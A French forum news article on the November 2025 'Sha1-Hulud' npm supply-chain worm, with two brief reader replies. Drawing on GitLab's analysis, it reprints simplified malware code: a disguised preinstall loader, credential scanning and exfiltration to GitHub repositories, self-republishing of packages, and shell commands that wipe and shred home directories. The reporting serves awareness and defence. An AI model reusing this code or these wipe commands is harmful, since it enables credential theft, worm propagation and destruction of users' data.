IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

NodeJS Discussion :

Le retour de Shai-Hulud révèle la fragilité de l’écosystème JavaScript :


Sujet :

NodeJS

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Chroniqueur Actualités

    Homme Profil pro
    Administrateur de base de données
    Inscrit en
    Mars 2013
    Messages
    9 763
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : Canada

    Informations professionnelles :
    Activité : Administrateur de base de données

    Informations forums :
    Inscription : Mars 2013
    Messages : 9 763
    Par défaut Le retour de Shai-Hulud révèle la fragilité de l’écosystème JavaScript :
    Le retour de Shai-Hulud révèle la fragilité de l’écosystème JavaScript :
    vol de secrets, runners GitHub détournés et saboteurs intégrés dans plus de 300 paquets npm infectés qui se sont propagées sur 27 000 dépôts GitHub

    La communauté JavaScript pensait avoir tiré les leçons de la première vague Shai-Hulud. Pourtant, fin novembre 2025, une nouvelle offensive frappe l’écosystème npm avec une sophistication inédite. Plus de 300 paquets infectés, des milliers de dépôts compromis, des jetons de cloud dérobés, des runners GitHub manipulés et, en bout de chaîne, une véritable démonstration de ce qu’une attaque supply-chain moderne peut provoquer.

    Contexte : pourquoi ce type d’attaque est pertinent

    L’écosystème npm est immense : des millions de paquets, de nombreuses dépendances transversales, et une grande part de confiance implicite envers les mainteneurs et les versions. Cette confiance est devenue une cible privilégiée pour les acteurs malveillants : en compromettant un paquet diffusé largement, ils peuvent infecter de nombreuses applications en aval, directement ou indirectement.

    L’incident original nommé Shai‑Hulud (sans le « 1 ») avait déjà été documenté précédemment : une fonction d'auto-réplication et de propagation dans l’écosystème npm, avec vol de jetons, des insertions de workflows GitHub malveillants, etc. La nouvelle vague, Sha1-Hulud, reprend et amplifie ces techniques.

    Le fait que la dernière campagne soit ciblée « par la chaîne d’approvisionnement logicielle » (software supply chain) la rend d’autant plus critique : ici, ce ne sont pas seulement des utilisateurs finaux ou des organisations spécifiques qui sont visés, mais potentiellement tous les projets reposant sur un des paquets compromis.

    Une attaque qui rappelle la fragilité de l’écosystème JavaScript

    L’écosystème npm est devenu un symbole de vitesse et d’efficacité, mais aussi de vulnérabilité. La multiplication des dépendances, les scripts d’installation automatiques, l’absence de vérification systématique du code publié : autant de portes ouvertes pour des campagnes malveillantes de plus en plus industrielles. Shai-Hulud, déjà connu pour une première vague particulièrement agressive, démontre une nouvelle fois à quelle vitesse une attaque supply-chain peut contaminer un environnement qui repose sur la confiance plus que sur le contrôle.

    Dans cette seconde offensive, plus de 300 paquets ont été modifiés pour inclure du code malveillant. La contamination s’est ensuite propagée aux projets qui les utilisent, pour atteindre des dizaines de milliers de dépôts GitHub en quelques heures.

    Selon HelixGuard, la campagne a vu ses paquets malveillants être publiés entre le 21 et le 23 novembre 2025.

    Citation Envoyé par HelixGuard
    Le 24 novembre 2025, HelixGuard a détecté que plus de 1 000 composants du registre NPM avaient été corrompus à l'aide de la même méthode en l'espace de quelques heures. Les nouvelles versions de ces paquets publiées dans le registre NPM prétendaient faussement introduire le runtime Bun, ajoutant le script preinstall: node setup_bun.js ainsi qu'un fichier bun_environment.js obscurci.

    Une fois exécuté, le logiciel malveillant télécharge et exécute TruffleHog pour analyser la machine locale, volant des informations sensibles telles que les jetons NPM, les identifiants AWS/GCP/Azure et les variables d'environnement.

    Le code malveillant exfiltre les informations volées en créant un runner GitHub Action nommé SHA1HULUD et une description de référentiel GitHub Sha1-Hulud : The Second Coming. Cela suggère qu'il pourrait s'agir du même attaquant que celui derrière l'attaque « Shai-Hulud » observée en septembre 2025.

    À l'heure actuelle, plus de 27 000 référentiels GitHub ont été infectés.
    De son côté, l'équipe de recherche sur les vulnérabilités de GitLab a elle aussi identifié une attaque active à grande échelle visant la chaîne d'approvisionnement, impliquant une variante destructrice de logiciel malveillant se propageant dans l'écosystème npm :

    « Notre système de surveillance interne a détecté plusieurs paquets infectés contenant ce qui semble être une version évoluée du logiciel malveillant "Shai-Hulud". Les premières analyses montrent un comportement de propagation de type ver qui infecte automatiquement d'autres paquets gérés par les développeurs concernés. Plus grave encore, nous avons découvert que le logiciel malveillant contient un mécanisme de "commutateur d'homme mort" qui menace de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration sont coupés ».

    Comment la contamination s’opère : anatomie d’un ver npm moderne

    L’attaque repose sur une mécanique huilée, qui combine vol de secrets, propagation automatique et exploitation des plateformes de développement.

    Un script d’installation comme porte d’entrée

    Le cœur de l’attaque réside dans les scripts « postinstall » insérés dans les paquets infectés. Lorsqu’un développeur installe la dépendance, un fichier JavaScript obfusqué s’exécute automatiquement.
    Ce script scanne l’environnement local à la recherche de secrets :
    • jetons npm,
    • clés GitHub (PATs),
    • identifiants AWS/GCP/Azure,
    • variables d’environnement sensibles,
    • fichiers de configuration cloud.

    Ces secrets permettent ensuite au malware de rebondir sur d’autres surfaces : création de dépôts GitHub, interactions avec les workflows, déploiement d’agents malveillants, etc.

    Auto-réplication par infection des comptes npm compromis

    Si le script trouve un jeton npm valide, il modifie automatiquement les paquets gérés par ce compte. Il insère le code malveillant dans la nouvelle version, puis publie le paquet mis à jour comme s’il s’agissait d’une release légitime. Ce mécanisme transforme l’attaque en ver : chaque compte compromis amplifie la propagation en infectant ses propres bibliothèques.

    Manipulation des workflows GitHub pour persister

    Nouvel élément inquiétant : le malware crée ou modifie des workflows GitHub Actions pour maintenir un accès permanent. Il installe un runner auto-hébergé portant un nom spécifique, ajoute des workflows capables d’exécuter des commandes à distance et crée parfois des dépôts publics pour exfiltrer les données dérobées.

    Capacité destructive en cas d’échec

    Lorsque le ver n’arrive pas à voler des secrets exploitables, il déclenche parfois un volet destructeur. Dans certains scénarios observés, il supprime le répertoire personnel de la machine ou efface des configurations essentielles, transformant une attaque de vol en attaque de sabotage.

    GitLab résume l'attaque de cette manière :

    Citation Envoyé par GitLab
    Notre système de surveillance interne, qui analyse les registres de paquets open source à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un logiciel malveillant sophistiqué qui :
    • Récupère les identifiants de GitHub, npm, AWS, GCP et Azure.
    • Exfiltre les données volées vers des référentiels GitHub contrôlés par les attaquants.
    • Se propagent en infectant automatiquement d'autres paquets appartenant aux victimes
    • Contiennent une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure

    Bien que nous avons confirmé plusieurs paquets infectés, le mécanisme de propagation de type ver signifie que de nombreux autres paquets sont susceptibles d'être compromis. L'enquête se poursuit tandis que nous nous efforçons de comprendre toute l'étendue de cette campagne.
    Nom : chaine.png
Affichages : 44494
Taille : 74,6 Ko

    Pourquoi cette campagne est plus dangereuse que la première

    Si la première offensive Shai-Hulud avait déjà marqué les esprits, cette nouvelle vague va plus loin sur plusieurs aspects :

    Une propagation plus rapide et plus profonde

    L’utilisation combinée de npm, GitHub et des runners CI donne à l’attaque une portée « transversale » : elle touche non seulement le développement local, mais aussi les pipelines de build et les environnements d’intégration.

    Une palette d’objectifs élargie

    Le premier Shai-Hulud se concentrait surtout sur le vol de jetons.
    Celui-ci ajoute :
    • la destruction de données ;
    • la prise de contrôle persistante via CI/CD ;
    • la réplication autonome ;
    • la contamination silencieuse d’écosystèmes entiers.

    Une meilleure dissimulation

    Les scripts malveillants sont plus compacts, mieux obfusqués et s’exécutent à travers des chemins d’installation courants. Beaucoup passent inaperçus dans les outils de détection statique classiques.

    Vecteur d'infection initial

    Le logiciel malveillant s'infiltre dans les systèmes grâce à un processus de chargement en plusieurs étapes soigneusement élaboré. Les paquets infectés contiennent un fichier package.json modifié avec un script de préinstallation pointant vers setup_bun.js. Ce script de chargement semble inoffensif, prétendant installer le runtime JavaScript Bun, qui est un outil légitime. Cependant, son véritable objectif est d'établir l'environnement d'exécution du logiciel malveillant.

    Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // Ce fichier est ajouté aux paquets de la victime sous le nom setup_bun.js.
    #!/usr/bin/env node
    async function downloadAndSetupBun() {
      // Téléchargements et installations bun
      let command = process.platform === 'win32' 
        ? 'powershell -c "irm bun.sh/install.ps1|iex"'
        : 'curl -fsSL https://bun.sh/install | bash';
     
      execSync(command, { stdio: 'ignore' });
     
      // Exécute le logiciel malveillant proprement dit.
      runExecutable(bunPath, ['bun_environment.js']);
    }

    Le chargeur setup_bun.js télécharge ou localise le runtime Bun sur le système, puis exécute la charge utile bun_environment.js intégrée, un fichier obscurci de 10 Mo déjà présent dans le package infecté. Cette approche offre plusieurs niveaux de contournement : le chargeur initial est petit et semble légitime, tandis que le code malveillant réel est fortement obscurci et intégré dans un fichier trop volumineux pour être inspecté de manière informelle.

    Collecte d'identifiants

    Une fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :
    • Jetons GitHub : recherche dans les variables d'environnement et les configurations CLI GitHub les jetons commençant par ghp_ (jeton d'accès personnel GitHub) ou gho_(jeton OAuth GitHub)
    • Identifiants cloud : énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels, en vérifiant les variables d'environnement, les fichiers de configuration et les services de métadonnées
    • Jetons npm : extrait les jetons pour la publication de paquets à partir des fichiers .npmrc et des variables d'environnement, qui sont des emplacements courants pour stocker en toute sécurité les configurations et les identifiants sensibles.
    • Analyse du système de fichiers : télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'ensemble du répertoire d'accueil à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique git.

    Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    async function scanFilesystem() {
      let scanner = new Trufflehog();
      await scanner.initialize();
     
      // Analyse le répertoire personnel de l'utilisateur à la recherche de secrets
      let findings = await scanner.scanFilesystem(os.homedir());
     
      // Télécharge les résultats vers le référentiel d'exfiltration
      await github.saveContents("truffleSecrets.json", 
        JSON.stringify(findings));
    }

    Réseau d'exfiltration de données

    Le logiciel malveillant utilise des jetons GitHub volés pour créer des référentiels publics avec une mention spécifique dans leur description : « Sha1-Hulud : The Second Coming ». Ces référentiels servent de boîtes de dépôt pour les identifiants et les informations système volés.

    Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    async function createRepo(name) {
      // Crée un référentiel avec un marqueur de description spécifique.
      let repo = await this.octokit.repos.createForAuthenticatedUser({
        name: name,
        description: "Sha1-Hulud: The Second Coming.", // Marqueur pour retrouver les dépôts ultérieurement
        private: false,
        auto_init: false,
        has_discussions: true
      });
     
      // Installe GitHub Actions Runner pour la persistance
      if (await this.checkWorkflowScope()) {
        let token = await this.octokit.request(
          "POST /repos/{owner}/{repo}/actions/runners/registration-token"
        );
        await installRunner(token); // Installe un runner auto-hébergé
      }
     
      return repo;
    }

    Si le jeton GitHub initial ne dispose pas des autorisations suffisantes, le logiciel malveillant recherche d'autres référentiels compromis portant le même marqueur, ce qui lui permet de récupérer les jetons d'autres systèmes infectés. Cela crée un réseau résilient de type botnet dans lequel les systèmes compromis partagent des jetons d'accès.

    Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    // Comment le réseau de logiciels malveillants partage les jetons :
    async fetchToken() {
      // Recherche sur GitHub les dépôts comportant le marqueur d'identification
      let results = await this.octokit.search.repos({
        q: '"Sha1-Hulud: The Second Coming."',
        sort: "updated"
      });
     
      // Essaye de récupérer les jetons des référentiels compromis
      for (let repo of results) {
        let contents = await fetch(
          `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
        );
     
        let data = JSON.parse(Buffer.from(contents, 'base64').toString());
        let token = data?.modules?.github?.token;
     
        if (token && await validateToken(token)) {
          return token;  // Utilise un jeton provenant d'un autre système infecté
        }
      }
      return null;  // Aucun jeton valide trouvé dans le réseau
    }

    Propagation dans la chaîne logistique

    À l'aide des jetons npm volés, le logiciel malveillant :
    • Télécharge tous les paquets gérés par la victime.
    • Injecte le chargeur setup_bun.js dans les scripts de préinstallation de chaque paquet.
    • Intègre la charge utile malveillante bun_environment.js.
    • Incrémente le numéro de version du paquet.
    • Republie les paquets infectés sur npm.


    Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    async function updatePackage(packageInfo) {
      // Télécharge le paquet original
      let tarball = await fetch(packageInfo.tarballUrl);
     
      // Extrait et modifier package.json
      let packageJson = JSON.parse(await readFile("package.json"));
     
      // Ajoute un script de préinstallation malveillant
      packageJson.scripts.preinstall = "node setup_bun.js";
     
      // Incrémente la version
      let version = packageJson.version.split(".").map(Number);
      version[2] = (version[2] || 0) + 1;
      packageJson.version = version.join(".");
     
      // Installateur de porte dérobée groupé
      await writeFile("setup_bun.js", BACKDOOR_CODE);
     
      // Reconditionne et publie
      await Bun.$`npm publish ${modifiedPackage}`.env({
        NPM_CONFIG_TOKEN: this.token
      });
    }

    Le dispositif anti-sabotage

    L'analyse de GitLab a révélé la présence d'une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de suppression.

    Le logiciel malveillant surveille en permanence son accès à GitHub (pour l'exfiltration) et à npm (pour la propagation). Si un système infecté perd simultanément l'accès à ces deux canaux, il déclenche immédiatement la destruction des données sur la machine compromise. Sous Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise shred pour écraser les fichiers avant leur suppression, rendant leur récupération pratiquement impossible.

    Code JavaScript : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    // CRITIQUE : l'échec de la validation du jeton déclenche sa destruction.
    async function aL0() {
      let githubApi = new dq();
      let npmToken = process.env.NPM_TOKEN || await findNpmToken();
     
      // Essaye de trouver ou de créer un accès GitHub.
      if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
        let fetchedToken = await githubApi.fetchToken(); // Recherche des jetons dans les référentiels compromis
     
        if (!fetchedToken) {  // Accès GitHub impossible
          if (npmToken) {
            // Revenir à la propagation NPM uniquement
            await El(npmToken);
          } else {
            // DÉCLENCHEUR DE DESTRUCTION : Pas d'accès à GitHub ET pas d'accès à NPM
            console.log("Error 12");
            if (platform === "windows") {
              // Tentatives de suppression de tous les fichiers utilisateur et de réécriture des secteurs du disque
              Bun.spawnSync(["cmd.exe", "/c", 
                "del /F /Q /S \"%USERPROFILE%*\" && " +
                "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
                "cipher /W:%USERPROFILE%"  // Remplace les données supprimées
              ]);
            } else {
              // Tentatives de destruction de tous les fichiers modifiables dans le répertoire personnel
              Bun.spawnSync(["bash", "-c", 
                "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
                "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
                "find \"$HOME\" -depth -type d -empty -delete"  // Supprime les répertoires vides
              ]);
            }
            process.exit(0);
          }
        }
      }
    }


    Sources : HelixGuard, GitLab

    Et vous ?

    Faut-il repenser le modèle de confiance autour des mainteneurs npm, notamment pour ceux gérant des centaines de paquets ?

    Le concept de « ver npm » doit-il être intégré comme nouvelle catégorie de menace dans les outils de détection et d’analyse statique ?

    Les scanners de dépendances actuels sont-ils réellement capables de détecter une attaque aussi obfusquée et dynamique que Shai-Hulud ?

    Faut-il imposer une signature obligatoire des paquets npm, ou cela créerait-il un risque de centralisation ?

    Dans quelle mesure les workflows GitHub Actions doivent-ils être considérés comme une surface d’attaque active à part entière ?
    Contribuez au club : Corrections, suggestions, critiques, ... : Contactez le service news et Rédigez des actualités

  2. #2
    Membre habitué
    Profil pro
    Inscrit en
    Mars 2005
    Messages
    12
    Détails du profil
    Informations personnelles :
    Localisation : Canada

    Informations forums :
    Inscription : Mars 2005
    Messages : 12
    Par défaut top article
    Merci pour ces explications claires et synthétiques !!

  3. #3
    Membre actif
    Homme Profil pro
    Développeur Web
    Inscrit en
    Octobre 2014
    Messages
    112
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Aveyron (Midi Pyrénées)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Octobre 2014
    Messages : 112
    Par défaut
    J'adore être pris pour un vieux connard quand je dis que je n'utilise pas npm, quand je dis que je n'installe pas ce que je ne comprend pas.

Discussions similaires

  1. Réponses: 8
    Dernier message: 12/02/2013, 02h08
  2. Retour au mode texte par défaut
    Par coca dans le forum x86 16-bits
    Réponses: 6
    Dernier message: 12/12/2002, 18h22
  3. [XP] Retour d'experience
    Par virgile04 dans le forum Méthodes Agiles
    Réponses: 10
    Dernier message: 22/10/2002, 09h25
  4. Retour chariot dans un TMemo ?
    Par Vincent PETIT dans le forum C++Builder
    Réponses: 7
    Dernier message: 27/08/2002, 19h55
  5. URGENT: retour de string
    Par Pinggui dans le forum CORBA
    Réponses: 4
    Dernier message: 15/07/2002, 10h47

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo